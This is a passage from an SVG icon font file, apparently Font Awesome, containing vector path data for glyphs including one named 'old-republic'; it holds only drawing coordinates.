-0.780273 4.06055 -0.930664 5.35059c-0.149414 1.29004 -0.609375 3.84961 -1 5.68945 +c-2.5498 11.1602 -3.64941 15.46 -4.09961 16c-1.5498 2 -4.08008 10.2002 -4.92969 15.9209c-1.64062 11.1094 -4 14.2295 -12.9102 17.3896c-4.92969 1.81641 -9.44238 4.50195 -13.3398 7.87988c-1.15039 1 -4 3.21973 -6.35059 5.05957 +c-2.34961 1.84082 -4.40918 3.53027 -4.59961 3.76074c-0.848633 0.733398 -1.73926 1.39648 -2.69043 2c-6.23926 4.21973 -8.83984 7 -11.2598 12l-2.43945 5l-0.220703 13l-0.219727 13l6.91016 6.5498c3.9502 3.75 8.47949 7.34961 10.5898 8.42969 +c3.30957 1.69043 4.4502 1.89062 11.3701 2c8.53027 0.19043 10.1201 0 11.6602 -1.55957c1.54004 -1.56055 1.35938 -6.40039 -0.290039 -8.5c-0.592773 -0.666992 -1.05273 -1.45508 -1.33984 -2.32031c0 -0.580078 -2.61035 -4.91016 -5.41992 -9 +c-1.03906 -2.12988 -1.85156 -4.44727 -2.37012 -6.82031c20.4395 -13.3896 21.5498 -3.76953 14.0693 -29l11.3604 -2.51953c3.11035 8.66016 6.46973 17.2598 8.61035 26.2197c0.290039 7.62988 -12 4.19043 -15.4004 8.68066 +c-2.33008 5.92969 3.12988 14.1797 6.05957 19.1992c1.60059 2.33984 6.62012 4.7002 8.82031 4.15039c0.879883 -0.219727 4.16016 0.349609 7.37012 1.28027c2.41992 0.759766 4.97461 1.33398 7.5498 1.67969c2.05957 0.222656 4.08984 0.666016 6 1.29004 +c3.65039 1.11035 4.5 1.16992 6.35059 0.400391c1.85156 -0.636719 3.82324 -1.10352 5.81934 -1.36035c2.12598 -0.287109 4.17285 -0.953125 6 -1.91016c1.55078 -0.908203 3.24414 -1.64746 5 -2.16992c2.51074 -0.679688 3 -0.570312 7.05078 1.66992l4.34961 2.40039 +l10.7402 0.389648c10.4395 0.400391 10.8096 0.469727 15.2598 2.67969l4.58008 2.32031l2.45996 -1.42969c1.75977 -1 3.13965 -2.73047 4.84961 -6c2.36035 -4.51074 2.37988 -4.58008 1.37012 -7.37012c-0.879883 -2.44043 -0.889648 -3.2998 -0.0996094 -6.39062 +c0.526367 -2.03027 1.24219 -4.03516 2.09961 -5.90918c0.62793 -1.22852 1.08203 -2.5918 1.31055 -4c0.30957 -4.33008 0 -5.30078 -2.41016 -6.91992c-2.16992 -1.4707 -7 -7.91016 -7 -9.34082c-0.249023 -1.03906 -0.614258 -2.05762 -1.07031 -3 +c-5 -11.5098 -6.75977 -13.5596 -14.2598 -17c-9.2002 -4.19922 -12.2998 -5.18945 -16.21 -5.18945c-3.10059 0 -4 -0.25 -4.54004 -1.25977c-1.17383 -1.44238 -2.53613 -2.67969 -4.08984 -3.70996c-1.82715 -1.21973 -3.32031 -2.84668 -4.37988 -4.78027 +c-0.486328 -1.22852 -1.36426 -2.24707 -2.49023 -2.91016c-0.941406 -0.387695 -1.77246 -0.97168 -2.4502 -1.70996c-2.22168 -1.9502 -4.53613 -3.73047 -7 -5.37988c-3.33008 -2.33984 -6.87012 -5 -7.87012 -6c-0.666992 -0.71875 -1.47168 -1.29688 -2.37988 -1.7002 +c-0.837891 -0.376953 -1.5625 -0.941406 -2.12988 -1.65039c-1.31055 -1.38965 -1.49023 -2.10938 -1.13965 -4.59961c0.310547 -2.00488 0.795898 -3.99707 1.41992 -5.87988c1.31934 -3.7998 1.30957 -7.86035 0 -10.5703 +c-1.31055 -2.70996 -0.890625 -6.64941 1.34961 -9.58984c2 -2.62988 2.16016 -4.55957 0.709961 -8.83984c-0.692383 -2.67969 -1.06152 -5.48926 -1.06152 -8.38379c0 -0.183594 -0.000976562 -0.34375 0.00195312 -0.526367 +c0 -4.87988 0.219727 -6.28027 1.45996 -8.37988c1.23926 -2.09961 1.81934 -2.48047 3.23926 -2.32031c2 0.230469 2.30078 1.0498 4.70996 12.1201c2.18066 10 3.70996 11.9199 13.7607 17.0801c2.93945 1.50977 7.45996 4 10 5.44043 +c2.54004 1.43945 6.79004 3.68945 9.37012 4.90918c5.99512 2.625 11.1807 6.62598 15.2197 11.6709c7.10938 8.78906 10 16.2197 12.8496 33.2998c0.362305 2.81152 1.37402 5.46387 2.86035 7.72949c1.39648 2.17676 2.40332 4.6748 2.88965 7.31055 +c1 5.2998 2.85059 9.08008 5.58008 11.5098c4.7002 4.17969 6 1.08984 4.58984 -10.8701c-0.459961 -3.86035 -1.09961 -10.3301 -1.43945 -14.3799l-0.610352 -7.36035l4.4502 -4.08984l4.4502 -4.08984l0.109375 -8.41992 +c0.0605469 -4.62988 0.470703 -9.53027 0.919922 -10.8896l0.820312 -2.4707l-6.42969 -6.2793c-8.54004 -8.33008 -12.8799 -13.9307 -16.7598 -21.6104c-1.77051 -3.49023 -3.74023 -7.11035 -4.38086 -8c-2.17969 -3.11035 -6.45996 -13 -8.75977 -20.2598 +l-2.29004 -7.2207l-7 -6.48926c-3.83008 -3.57031 -8 -7.25 -9.16992 -8.16992c-3.0498 -2.32031 -4.25977 -5.15039 -4.25977 -10c-0.00878906 -0.204102 -0.0126953 -0.40918 -0.0126953 -0.614258c0 -2.39062 0.583984 -4.65332 1.60254 -6.64648 +c0.789062 -1.54785 1.49512 -3.17871 2.08984 -4.83008c0.350586 -1.05859 0.887695 -2.03809 1.57031 -2.88965c1.40039 -1.58984 1.91992 -16.1201 0.830078 -23.2197c-0.679688 -4.48047 -3.62988 -12 -4.7002 -12c-1.79004 0 -4.05957 -9.27051 -5.07031 -20.7402 +c-0.179688 -2 -0.620117 -5.94043 -1 -8.7002s-1 -10 -1.34961 -16.0498c-0.770508 -12.2197 -0.19043 -18.7705 2 -23.1504c3.41016 -6.68945 0.519531 -12.6895 -11 -22.8398l-4 -3.49023l0.0703125 -5.18945c0.0546875 -3.05273 0.448242 -6.01562 1.13965 -8.87012 +c4.61035 -16 4.73047 -16.9199 4.37988 -37.1299c-0.459961 -26.4004 -0.259766 -40.2705 0.629883 -44.1504c0.489258 -2.28223 0.853516 -4.63086 1.08008 -7c0.169922 -2 0.660156 -5.33008 1.08008 -7.35938c0.469727 -2.26074 0.780273 -11 0.790039 -22.7402v-19.0605 +l-1.80957 -2.62988c-2.70996 -3.91016 -15.1104 -13.54 -15.4902 -12.29zM261.8 -18.7803c-0.179688 0.299805 -0.330078 6.87012 -0.330078 14.5898c0 14.0605 -0.889648 27.54 -2.25977 34.4502c-0.400391 2 -0.80957 9.7002 -0.900391 17.0605 +c-0.149414 11.9297 -1.39941 24.3701 -2.63965 26.3799c-0.660156 1.06934 -3 17.6602 -3 21.2998c0 4.23047 1 6 5.28027 9.12988s4.85938 3.13965 5.47949 0.719727c0.280273 -1.09961 1.4502 -5.61914 2.60059 -10c3.92969 -15.1191 4.13965 -16.2695 4.0498 -21.7393 +c-0.0996094 -5.78027 -0.129883 -6.12988 -1.74023 -17.7305c-1 -7.07031 -1.16992 -12.3896 -1 -28.4297c0.169922 -19.4004 -0.639648 -35.7305 -2 -41.2705c-0.709961 -2.7793 -2.7998 -5.47949 -3.42969 -4.42969zM190.8 18.7998 +c-0.761719 3.52051 -1.3457 7.14453 -1.72949 10.79c-0.382812 3.64648 -0.967773 7.27051 -1.73047 10.79c-0.513672 2.0957 -0.854492 4.27344 -1 6.49023c-0.30957 3.18945 -0.910156 7.45996 -1.33008 9.47949c-1 4.79004 -3.34961 19.3506 -3.41992 21.0703 +c0 0.740234 -0.339844 4.0498 -0.700195 7.36035c-0.669922 6.20996 -0.839844 27.6699 -0.219727 28.29c1 1 6.62988 -2.76074 11.3301 -7.43066l5.28027 -5.25l-0.450195 -6.46973c-0.25 -3.55957 -0.599609 -10.2295 -0.780273 -14.8301 +c-0.179688 -4.59961 -0.490234 -9.87012 -0.669922 -11.71s-0.610352 -9.36035 -0.939453 -16.7197c-0.790039 -17.4102 -1.94043 -31.29 -2.65039 -32c-0.113281 -0.119141 -0.273438 -0.194336 -0.450195 -0.194336c-0.239258 0 -0.446289 0.135742 -0.549805 0.333984 +h0.00976562zM103.62 285.39c21.0703 -12.79 17.8398 -14.1494 28.4902 -17.6592c13 -4.29004 18.8701 -7.13086 23.1494 -16.8701c-43.6602 -36.1406 -69.0098 -57.8604 -76.71 -70.8604c-31 -52 -6 -101.59 62.75 -87.21c-14.1797 -29.2305 -78 -28.6299 -98.6797 4.90039 +c-24.6797 39.9492 -22.0898 118.3 61 187.659v0.0400391zM314.41 106.39c56.6602 -6.87988 82.3203 37.7402 46.54 89.2305c0 0 -26.8701 29.3398 -64.2803 68c3 15.4502 9.49023 32.1201 30.5703 53.8203c89.2002 -63.5107 92 -141.61 92.46 -149.36 +c4.2998 -70.6396 -78.7002 -91.1797 -105.29 -61.71v0.0195312z" /> + <glyph glyph-name="old-republic" unicode="" horiz-adv-x="496" +d="M235.76 437.77c7.5 0.310547 15 0.280273 22.5 0.0908203c3.61035 -0.140625 7.2002 -0.400391 10.79 -0.730469c4.91992 -0.269531 9.79004 -1.03027 14.6699 -1.62012c2.93066 -0.429688 5.83008 -0.979492 8.75 -1.45996 +c7.90039 -1.33008 15.6699 -3.28027 23.3906 -5.39941c12.2393 -3.4707 24.1895 -7.91992 35.7598 -13.21c26.5596 -12.2402 50.9395 -29.21 71.6299 -49.8809c20.0303 -20.0898 36.7197 -43.5498 48.8896 -69.1895c1.12988 -2.58984 2.44043 -5.10059 3.4707 -7.74023 +c2.80957 -6.42969 5.38965 -12.9697 7.58008 -19.6299c4.13965 -12.3301 7.33984 -24.9902 9.41992 -37.8301c0.569336 -3.13965 1.04004 -6.2998 1.39941 -9.46973c0.549805 -3.83008 0.94043 -7.69043 1.18066 -11.5605 +c0.829102 -8.33984 0.839844 -16.7295 0.769531 -25.0996c-0.0703125 -4.96973 -0.259766 -9.94043 -0.75 -14.8896c-0.240234 -3.38086 -0.509766 -6.76074 -0.979492 -10.1201c-0.390625 -2.7207 -0.630859 -5.45996 -1.11035 -8.16992 +c-0.900391 -5.15039 -1.7002 -10.3105 -2.87012 -15.4102c-4.09961 -18.5 -10.2998 -36.5498 -18.5098 -53.6299c-15.7705 -32.8301 -38.8301 -62.1699 -67.1201 -85.1201c-17.2012 -14.0635 -36.3066 -25.8115 -56.9102 -34.8604 +c-6.20996 -2.67969 -12.46 -5.25 -18.8701 -7.41016c-3.50977 -1.16016 -7.00977 -2.37988 -10.5703 -3.38965c-6.61914 -1.87988 -13.2891 -3.63965 -20.0391 -5c-4.66016 -0.910156 -9.34082 -1.73047 -14.0303 -2.48047c-5.25 -0.65918 -10.5 -1.43945 -15.79 -1.73926 +c-6.69043 -0.660156 -13.4102 -0.839844 -20.1201 -0.810547c-6.82031 -0.0292969 -13.6504 0.120117 -20.4502 0.790039c-3.29004 0.230469 -6.57031 0.5 -9.83008 0.950195c-2.71973 0.389648 -5.45996 0.629883 -8.16992 1.11035 +c-4.12012 0.719727 -8.25 1.37012 -12.3496 2.21973c-4.25 0.939453 -8.49023 1.88965 -12.6904 3.01953c-8.62988 2.16992 -17.0801 5.01074 -25.4102 8.13086c-10.4893 4.11914 -20.79 8.75 -30.6396 14.25c-2.13965 1.14941 -4.28027 2.28906 -6.34961 3.56934 +c-11.2207 6.58008 -21.8604 14.1006 -31.9199 22.3398c-34.6807 28.4102 -61.4102 66.4307 -76.3506 108.7c-3.08984 8.74023 -5.70996 17.6504 -7.7998 26.6797c-1.48047 6.16016 -2.52051 12.4209 -3.58008 18.6602 +c-0.400391 2.35059 -0.610352 4.73047 -0.950195 7.08984c-0.599609 3.96094 -0.75 7.96094 -1.16992 11.9404c-0.799805 9.46973 -0.709961 18.9902 -0.509766 28.4902c0.139648 3.50977 0.339844 7.00977 0.700195 10.5098 +c0.30957 3.16992 0.459961 6.37012 0.919922 9.52051c0.410156 2.80957 0.649414 5.64941 1.16016 8.43945c0.699219 3.94043 1.2998 7.90039 2.11914 11.8203c3.43066 16.5195 8.4707 32.7295 15.2607 48.1797c1.14941 2.91992 2.58984 5.71973 3.85938 8.58984 +c8.05078 16.71 17.9004 32.5605 29.4902 47.0605c20 25.3799 45.1006 46.6797 73.2705 62.4697c7.5 4.15039 15.1592 8.0498 23.0693 11.3701c15.8203 6.87988 32.4102 11.9502 49.3105 15.3799c3.50977 0.669922 7.04004 1.24023 10.5596 1.84961 +c2.62012 0.470703 5.28027 0.700195 7.91016 1.08008c3.53027 0.530273 7.09961 0.680664 10.6504 1.04004c2.45996 0.240234 4.90918 0.360352 7.35938 0.509766zM244.4 413.36c-9.23047 -0.100586 -18.4307 -0.990234 -27.5703 -2.23047 +c-7.2998 -1.08008 -14.5303 -2.59961 -21.71 -4.2998c-13.9102 -3.5 -27.4805 -8.33984 -40.46 -14.4199c-10.46 -4.99023 -20.5898 -10.7002 -30.1797 -17.2197c-4.18066 -2.9209 -8.40039 -5.80078 -12.3408 -9.03027 +c-5.08008 -3.96973 -9.97949 -8.16992 -14.6797 -12.5898c-2.50977 -2.24023 -4.80957 -4.7002 -7.21973 -7.06055c-28.2207 -28.79 -48.4404 -65.3896 -57.5 -104.689c-2.04004 -8.44043 -3.54004 -17.0205 -4.44043 -25.6504 +c-1.09961 -8.88965 -1.43945 -17.8496 -1.41016 -26.7998c0.110352 -7.13965 0.379883 -14.2803 1.2207 -21.3701c0.620117 -7.12012 1.87012 -14.1602 3.19922 -21.1797c1.07031 -4.65039 2.03027 -9.32031 3.33008 -13.9102 +c6.29004 -23.3799 16.5 -45.7002 30.0703 -65.75c8.63965 -12.9805 18.7803 -24.9297 29.9805 -35.7705c16.2793 -15.8193 35.0498 -29.04 55.3398 -39.2197c7.2793 -3.51953 14.6602 -6.87012 22.2695 -9.62988c5.04004 -1.75977 10.0605 -3.57031 15.2197 -4.98047 +c11.2607 -3.22949 22.7705 -5.59961 34.3906 -7.05957c2.91016 -0.290039 5.80957 -0.610352 8.71973 -0.900391c13.8203 -1.08008 27.7402 -1 41.54 0.430664c4.4502 0.599609 8.91992 0.989258 13.3496 1.7793c3.63086 0.670898 7.28027 1.25 10.8701 2.10059 +c4.12988 0.979492 8.28027 1.91016 12.3604 3.07031c26.5 7.33984 51.5801 19.71 73.5801 36.1992c15.7803 11.8203 29.96 25.7607 42.1201 41.2803c3.25977 4.02051 6.16992 8.30957 9.12988 12.5498c3.38965 5.06055 6.58008 10.25 9.59961 15.54 +c2.40039 4.44043 4.74023 8.91016 6.9502 13.4502c5.69043 12.0498 10.2803 24.6201 13.75 37.4902c2.58984 10.0098 4.75 20.1602 5.90039 30.4502c1.76953 13.4697 1.93945 27.0996 1.29004 40.6494c-0.290039 3.89062 -0.669922 7.77051 -1 11.6602 +c-2.23047 19.0801 -6.79004 37.9102 -13.8203 55.7998c-5.9502 15.1299 -13.5303 29.6299 -22.6104 43.1299c-12.6895 18.8008 -28.2393 35.6807 -45.9697 49.8301c-25.0498 20 -54.4697 34.5498 -85.6504 42.0801c-7.7793 1.92969 -15.6895 3.33984 -23.6299 4.4502 +c-3.90918 0.589844 -7.84961 0.820312 -11.7695 1.24023c-7.38965 0.569336 -14.8105 0.719727 -22.2197 0.580078zM139.26 364.47c13.2998 8.89062 28.0801 15.3799 43.2998 20.1807c-3.16992 -1.77051 -6.43945 -3.38086 -9.5293 -5.29004 +c-11.21 -6.68066 -21.5205 -14.9004 -30.3799 -24.4902c-6.80078 -7.42969 -12.7607 -15.7305 -17.0107 -24.8896c-3.29004 -6.86035 -5.63965 -14.1904 -6.85938 -21.7109c-0.930664 -4.84961 -1.2998 -9.80957 -1.16992 -14.75 +c0.129883 -13.6592 4.43945 -27.0791 11.29 -38.8193c5.91992 -10.2197 13.6299 -19.3301 22.3594 -27.2598c4.85059 -4.36035 10.2402 -8.09082 14.9502 -12.6006c2.25977 -2.18945 4.49023 -4.41992 6.42969 -6.91016c2.62012 -3.30957 4.89062 -6.98926 5.99023 -11.0996 +c0.900391 -3.02051 0.660156 -6.2002 0.69043 -9.31055c0.0195312 -4.09961 -0.0400391 -8.19922 0.0292969 -12.2998c0.140625 -3.54004 -0.0195312 -7.08984 0.110352 -10.6299c0.0800781 -2.37988 0.0205078 -4.75977 0.0498047 -7.13965 +c0.160156 -5.77051 0.0605469 -11.5303 0.150391 -17.2998c0.109375 -2.91016 0.0195312 -5.82031 0.129883 -8.74023c0.0302734 -1.62988 0.129883 -3.28027 -0.0302734 -4.91016c-0.910156 -0.120117 -1.81934 -0.179688 -2.72949 -0.160156 +c-10.9902 0 -21.8799 2.62988 -31.9502 6.92969c-6 2.7002 -11.8105 5.89062 -17.0898 9.83008c-5.75 4.19043 -11.0898 8.95996 -15.79 14.3105c-6.53027 7.24023 -11.9805 15.3896 -16.6201 23.9502c-1.07031 2.0293 -2.24023 4.01953 -3.17969 6.12012 +c-1.16016 2.63965 -2.62012 5.13965 -3.66992 7.81934c-4.05078 9.68066 -6.57031 19.9404 -8.08008 30.3105c-0.490234 4.43945 -1.09082 8.87988 -1.2002 13.3496c-0.700195 15.7305 0.839844 31.5498 4.66992 46.8203c2.12012 8.14941 4.76953 16.1797 8.30957 23.8301 +c6.32031 14.1992 15.3398 27.1797 26.3008 38.1895c6.2793 6.2002 13.1299 11.8398 20.5293 16.6699zM314.63 384.59c2.74023 -0.740234 5.41016 -1.74023 8.08984 -2.67969c6.36035 -2.33008 12.6807 -4.83984 18.71 -7.95996 +c13.1104 -6.44043 25.3105 -14.8105 35.8203 -24.9697c10.2002 -9.9502 18.7402 -21.6006 25.1396 -34.3408c1.28027 -2.75 2.64062 -5.45996 3.81055 -8.25977c6.30957 -15.0996 10 -31.2598 11.2295 -47.5703c0.410156 -4.54004 0.44043 -9.08984 0.450195 -13.6396 +c0.0703125 -11.6396 -1.49023 -23.25 -4.2998 -34.5303c-1.96973 -7.26953 -4.34961 -14.4893 -7.86035 -21.1797c-3.17969 -6.63965 -6.67969 -13.1602 -10.8398 -19.2402c-6.93945 -10.4697 -15.5996 -19.8701 -25.8203 -27.2197 +c-10.4795 -7.63965 -22.6396 -13.0195 -35.3994 -15.3799c-3.50977 -0.69043 -7.08008 -1.08008 -10.6602 -1.20996c-1.84961 -0.0605469 -3.71973 -0.160156 -5.55957 0.0996094c-0.280273 2.15039 0 4.31055 -0.0107422 6.45996 +c-0.0292969 3.73047 0.140625 7.4502 0.100586 11.1699c0.189453 7.02051 0.0195312 14.0508 0.209961 21.0703c0.0292969 2.37988 -0.0302734 4.75977 0.0292969 7.13965c0.170898 5.07031 -0.0390625 10.1406 0.140625 15.21 +c0.0996094 2.99023 -0.240234 6.04004 0.509766 8.95996c0.660156 2.5 1.78027 4.86035 3.08984 7.08008c4.45996 7.31055 11.0605 12.96 17.6807 18.2607c5.37988 4.17969 10.4697 8.76953 15.0195 13.8398c7.67969 8.37012 14.1699 17.8799 18.7803 28.2695 +c2.5 5.93066 4.51953 12.1006 5.5498 18.46c0.860352 4.37012 1.05957 8.83008 1.00977 13.2705c-0.0195312 7.84961 -1.39941 15.6494 -3.63965 23.1699c-1.75 5.72949 -4.27051 11.1797 -7.08984 16.4502c-3.87012 6.92969 -8.65039 13.3096 -13.96 19.1992 +c-9.94043 10.8506 -21.75 19.9404 -34.6006 27.1006c-1.84961 1.01953 -3.83984 1.82031 -5.62988 2.96973zM213.83 326.14c0.979492 1.18066 1.99023 2.33008 3.12012 3.37988c-0.610352 -0.929688 -1.27051 -1.80957 -1.9502 -2.67969 +c-3.09961 -3.87988 -5.54004 -8.30957 -7.03027 -13.0596c-0.870117 -3.27051 -1.67969 -6.60059 -1.72949 -10c-0.0703125 -2.52051 -0.0800781 -5.07031 0.319336 -7.57031c1.13086 -7.62988 4.33008 -14.8496 8.77051 -21.1201c2 -2.7002 4.25 -5.26953 6.91992 -7.33008 +c1.62012 -1.26953 3.53027 -2.08984 5.33984 -3.0498c3.11035 -1.67969 6.32031 -3.22949 9.07031 -5.47949c2.66992 -2.09082 4.5498 -5.33008 4.39941 -8.79004c-0.00976562 -73.6709 0 -147.341 -0.00976562 -221.021c0 -1.34961 -0.0800781 -2.7002 0.0400391 -4.04004 +c0.129883 -1.47949 0.820312 -2.83008 1.46973 -4.14941c0.860352 -1.66016 1.78027 -3.34082 3.18066 -4.62012c0.849609 -0.770508 1.96973 -1.40039 3.14941 -1.24023c1.5 0.200195 2.66016 1.34961 3.4502 2.57031c0.959961 1.50977 1.67969 3.15918 2.28027 4.84961 +c0.759766 2.12988 0.439453 4.41992 0.540039 6.62988c0.139648 4.03027 -0.0205078 8.06055 0.139648 12.0898c0.0302734 5.89062 0.0302734 11.7705 0.0605469 17.6602c0.139648 3.62012 0.0292969 7.24023 0.109375 10.8604 +c0.150391 4.0293 -0.0195312 8.05957 0.140625 12.0898c0.0292969 5.99023 0.0292969 11.9795 0.0693359 17.9697c0.140625 3.62012 0.0205078 7.24023 0.110352 10.8604c0.139648 3.92969 -0.0205078 7.85938 0.139648 11.7803 +c0.0302734 5.98926 0.0302734 11.9795 0.0605469 17.9697c0.160156 3.93945 -0.00976562 7.87988 0.189453 11.8193c0.290039 -1.43945 0.129883 -2.91992 0.220703 -4.37988c0.189453 -3.60938 0.419922 -7.22949 0.759766 -10.8398 +c0.320312 -3.43945 0.439453 -6.88965 0.859375 -10.3193c0.370117 -3.10059 0.510742 -6.2207 0.950195 -9.31055c0.570312 -4.08984 0.870117 -8.20996 1.54004 -12.29c1.45996 -9.04004 2.83008 -18.1104 5.08984 -26.9902c1.13086 -4.81934 2.40039 -9.60938 4 -14.2998 +c2.54004 -7.89941 5.7207 -15.6699 10.3105 -22.6201c1.72949 -2.63965 3.87012 -4.97949 6.09961 -7.20996c0.270508 -0.25 0.549805 -0.509766 0.879883 -0.709961c0.600586 -0.25 1.31055 0.0703125 1.7002 0.570312c0.709961 0.879883 1.16992 1.93945 1.7002 2.92969 +c4.0498 7.7998 8.17969 15.5605 12.3398 23.3105c0.700195 1.30957 1.44043 2.62012 2.56055 3.60938c1.75 1.57031 3.83984 2.69043 5.97949 3.62988c2.87988 1.2207 5.90039 2.19043 9.03027 2.41992c6.58008 0.620117 13.1094 -0.75 19.5596 -1.84961 +c3.69043 -0.580078 7.40039 -1.16992 11.1299 -1.41016c3.74023 -0.0996094 7.48047 -0.0498047 11.21 0.280273c8.55078 0.919922 16.9902 2.95996 24.9404 6.25c5.2998 2.24023 10.46 4.83008 15.3096 7.92969c11.46 7.20996 21.46 16.5703 30.04 27.0107 +c1.16992 1.41992 2.25 2.89941 3.45996 4.2793c-1.19922 -3.24023 -2.66992 -6.37012 -4.15918 -9.47949c-1.25 -2.90039 -2.84082 -5.61035 -4.27051 -8.41992c-5.16016 -9.62988 -11.0195 -18.9102 -17.75 -27.5205 +c-4.03027 -5.20996 -8.53027 -10.0498 -13.3301 -14.5703c-6.63965 -6.0498 -14.0703 -11.3691 -22.4297 -14.7598c-8.20996 -3.37012 -17.3105 -4.62988 -26.0898 -3.29004c-3.56055 0.580078 -7.01074 1.69043 -10.4102 2.87988 +c-2.79004 0.970703 -5.39062 2.38086 -8.03027 3.69043c-3.42969 1.70996 -6.63965 3.80957 -9.70996 6.08008c2.70996 -3.06055 5.69043 -5.86035 8.7002 -8.61035c4.26953 -3.75977 8.74023 -7.30957 13.6299 -10.2295c3.98047 -2.4502 8.29004 -4.40039 12.8398 -5.51074 +c1.45996 -0.369141 2.95996 -0.459961 4.4502 -0.599609c-1.25 -1.09961 -2.62988 -2.04004 -3.99023 -2.97949c-9.60938 -6.54004 -20.0098 -11.8604 -30.6895 -16.4307c-20.8604 -8.7002 -43.1699 -13.9697 -65.7402 -15.3398 +c-4.66016 -0.240234 -9.32031 -0.360352 -13.9805 -0.360352c-4.97949 0.110352 -9.96973 0.130859 -14.9199 0.650391c-11.2002 0.759766 -22.29 2.73047 -33.1699 5.42969c-10.3496 2.70996 -20.5498 6.12012 -30.2998 10.5508 +c-8.70996 3.85938 -17.1201 8.41992 -24.9902 13.79c-1.83008 1.30957 -3.74023 2.5293 -5.37012 4.0791c6.60059 1.19043 13.0303 3.39062 18.9902 6.48047c5.74023 2.86035 10.9902 6.66016 15.6299 11.0703c2.24023 2.18945 4.29004 4.58984 6.19043 7.08984 +c-3.43066 -2.12988 -6.93066 -4.15039 -10.6201 -5.78027c-4.41016 -2.16016 -9.07031 -3.76953 -13.8105 -5.01953c-5.72949 -1.52051 -11.7393 -1.73047 -17.6094 -1.14062c-8.12988 0.950195 -15.8604 4.27051 -22.5098 8.98047 +c-4.32031 2.93945 -8.2207 6.42969 -11.96 10.0596c-9.93066 10.1602 -18.2002 21.8105 -25.6602 33.8604c-3.94043 6.26953 -7.53027 12.75 -11.1201 19.2197c-1.0498 2.04004 -2.15039 4.0498 -3.17969 6.10059c2.84961 -2.9209 5.56934 -5.9707 8.42969 -8.88086 +c8.99023 -8.96973 18.5596 -17.4395 29.1602 -24.4795c7.5498 -4.90039 15.6699 -9.23047 24.5596 -11.0303c3.11035 -0.729492 6.32031 -0.469727 9.46973 -0.80957c2.77051 -0.280273 5.56055 -0.200195 8.34082 -0.299805 +c5.0498 -0.0605469 10.1094 -0.0400391 15.1592 0.15918c3.65039 0.160156 7.27051 0.660156 10.8906 1.09082c2.06934 0.25 4.10938 0.709961 6.13965 1.19922c3.87988 0.950195 8.11035 0.959961 11.8301 -0.609375c4.75977 -1.85059 8.44043 -5.64062 11.3799 -9.70996 +c2.16016 -3.02051 4.06055 -6.2207 5.66016 -9.58008c1.16016 -2.43066 2.45996 -4.79004 3.5498 -7.26074c1 -2.23926 2.15039 -4.41992 3.41992 -6.51953c0.669922 -1.01953 1.40039 -2.15039 2.62012 -2.5498c1.06055 0.75 1.70996 1.91016 2.28027 3.03027 +c2.09961 4.15918 3.41992 8.64941 4.88965 13.0498c2.02051 6.58984 3.78027 13.2695 5.19043 20.0195c2.20996 9.25 3.25 18.7197 4.54004 28.1299c0.55957 3.98047 0.830078 7.99023 1.30957 11.9707c0.870117 10.6396 1.90039 21.2695 2.24023 31.9395 +c0.0800781 1.86035 0.240234 3.70996 0.25 5.57031c0.00976562 4.34961 0.25 8.68945 0.219727 13.0303c-0.00976562 2.37988 -0.00976562 4.75977 0 7.12988c0.0498047 5.06934 -0.200195 10.1396 -0.219727 15.21c-0.200195 6.60938 -0.709961 13.2002 -1.29004 19.7793 +c-0.730469 5.88086 -1.5498 11.7803 -3.12012 17.5107c-2.0498 7.75 -5.58984 15.0293 -9.7998 21.8193c-3.16016 5.07031 -6.79004 9.87988 -11.0898 14.0303c-3.87988 3.86035 -8.58008 7.08008 -13.9404 8.4502c-1.5 0.410156 -3.05957 0.450195 -4.58984 0.639648 +c0.0703125 2.99023 0.700195 5.93066 1.25977 8.85059c1.58984 7.70996 3.7998 15.2998 6.76074 22.5996c1.51953 4.03027 3.40918 7.90039 5.38965 11.7197c3.4502 6.56055 7.62012 12.79 12.46 18.46zM245.1 324.44 +c0.350586 0.0595703 0.709961 0.119141 1.07031 0.189453c0.19043 -1.79004 0.0898438 -3.58008 0.0996094 -5.37012v-38.1299c-0.00976562 -1.74023 0.130859 -3.49023 -0.149414 -5.21973c-0.360352 0.0302734 -0.709961 0.0498047 -1.06055 0.0498047 +c-0.949219 3.75 -1.71973 7.5498 -2.61914 11.3096c-0.380859 1.53027 -0.580078 3.09082 -1.07031 4.59082c-1.7002 0.239258 -3.42969 0.169922 -5.15039 0.199219c-5.05957 0.0107422 -10.1299 0 -15.1895 0.0107422 +c-1.66016 0.00976562 -3.32031 -0.0898438 -4.98047 0.0292969c-0.0302734 0.390625 -0.259766 0.910156 0.160156 1.18066c1.28027 0.649414 2.71973 0.879883 4.05957 1.34961c3.43066 1.13965 6.88086 2.16016 10.3105 3.31055 +c1.38965 0.479492 2.90039 0.719727 4.16016 1.54004c0.0400391 0.55957 0.0195312 1.12988 -0.0498047 1.67969c-1.23047 0.549805 -2.53027 0.870117 -3.81055 1.28027c-3.12988 1.0293 -6.29004 1.95996 -9.41016 3.01953c-1.79004 0.620117 -3.66992 1 -5.41016 1.79004 +c-0.0292969 0.370117 -0.0693359 0.730469 -0.109375 1.08984c5.08984 0.19043 10.2002 -0.0595703 15.2998 0.120117c3.36035 0.129883 6.73047 -0.0800781 10.0898 0.0703125c0.120117 0.389648 0.259766 0.769531 0.370117 1.16016 +c1.08008 4.93945 2.33008 9.8291 3.38965 14.75zM251.07 324.64c0.359375 -0.0498047 0.719727 -0.120117 1.08008 -0.199219c0.979492 -3.85059 1.72949 -7.76074 2.70996 -11.6104c0.359375 -1.41992 0.55957 -2.87988 1.0293 -4.27051 +c2.53027 -0.179688 5.07031 0.0107422 7.61035 -0.0498047c5.16016 -0.120117 10.3301 -0.120117 15.4902 -0.0693359c0.759766 0.00976562 1.51953 -0.0302734 2.2793 -0.0800781c-0.0390625 -0.360352 -0.0693359 -0.720703 -0.0996094 -1.08008 +c-1.82031 -0.830078 -3.78027 -1.25 -5.66992 -1.89062c-3.73047 -1.22949 -7.48047 -2.38965 -11.2197 -3.56934c-0.570312 -0.169922 -1.12012 -0.419922 -1.66992 -0.640625c-0.150391 -0.549805 -0.180664 -1.12012 -0.120117 -1.68945 +c0.870117 -0.480469 1.81934 -0.810547 2.76953 -1.08984c4.87988 -1.52051 9.73047 -3.14062 14.6299 -4.60059c0.379883 -0.129883 0.780273 -0.269531 1.12988 -0.490234c0.400391 -0.269531 0.230469 -0.790039 0.150391 -1.17969 +c-1.66016 -0.129883 -3.30957 -0.0302734 -4.96973 -0.0400391c-5.16992 -0.00976562 -10.3301 0.00976562 -15.5 -0.00976562c-1.61035 -0.0302734 -3.21973 0.0195312 -4.82031 -0.209961c-0.519531 -1.66992 -0.719727 -3.41992 -1.16992 -5.11035 +c-0.94043 -3.56934 -1.51953 -7.24023 -2.54004 